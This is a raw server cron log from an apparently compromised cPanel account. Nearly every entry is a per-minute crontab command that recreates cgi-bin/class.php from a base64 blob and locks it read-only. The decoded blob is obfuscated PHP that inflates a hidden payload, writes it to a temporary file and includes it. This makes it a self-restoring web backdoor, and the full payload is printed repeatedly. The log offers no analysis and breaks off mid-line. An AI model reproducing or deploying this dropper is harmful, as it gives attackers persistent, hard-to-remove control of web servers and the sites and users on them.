Nov  9 08:41:01 server CROND[28881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:42:01 server CROND[29722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:42:01 server CROND[29723]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 08:43:01 server CROND[30267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:44:01 server CROND[31166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:45:01 server CROND[31822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:45:01 server CROND[31823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:45:01 server CROND[31824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:46:01 server CROND[32709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:47:01 server CROND[1081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:48:01 server CROND[1891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:49:01 server CROND[2796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:50:01 server CROND[3629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:50:01 server CROND[3631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 08:50:01 server CROND[3632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:50:01 server CROND[3639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:50:01 server CROND[3642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:51:01 server CROND[4513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:52:01 server CROND[5319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:53:01 server CROND[6146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:54:01 server CROND[6965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 